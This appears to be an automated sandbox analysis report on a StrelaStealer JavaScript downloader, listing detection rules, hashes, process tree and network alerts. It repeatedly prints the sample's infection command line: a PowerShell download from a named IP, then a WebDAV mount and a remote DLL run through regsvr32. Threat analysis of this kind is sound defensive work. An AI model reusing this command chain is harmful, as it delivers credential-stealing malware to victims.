Edit tour

Windows Analysis Report
6164687600716519.js

Overview

General Information

Sample name:	6164687600716519.js
Analysis ID:	1587748
MD5:	2f94a4589b250893b3e0f714dbe9ddcc
SHA1:	3326ca3e4902b389cb32ac7d3e3d36f008387f30
SHA256:	36e26604cab2ed3b251742054752b274633380f64b0ece1ee3172a6c2f072e33
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7444 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7528 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7760 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7992 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6124 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,10604336850513171778,18165926651659132460,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7880 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 2052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 8052 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7444	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ProcessId: 7444, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7880, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49776

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ProcessId: 7528, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ProcessId: 7444, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7528, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7880, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8052, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7880, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6164687600716519.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7444, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2141254929529.dll, ProcessId: 7528, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:40:07.451066+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49776	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:40:05.071550+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49760	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 6164687600716519.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 6164687600716519.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49776 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:40:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49776

Source: global traffic

TCP traffic: 192.168.2.11:49776 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

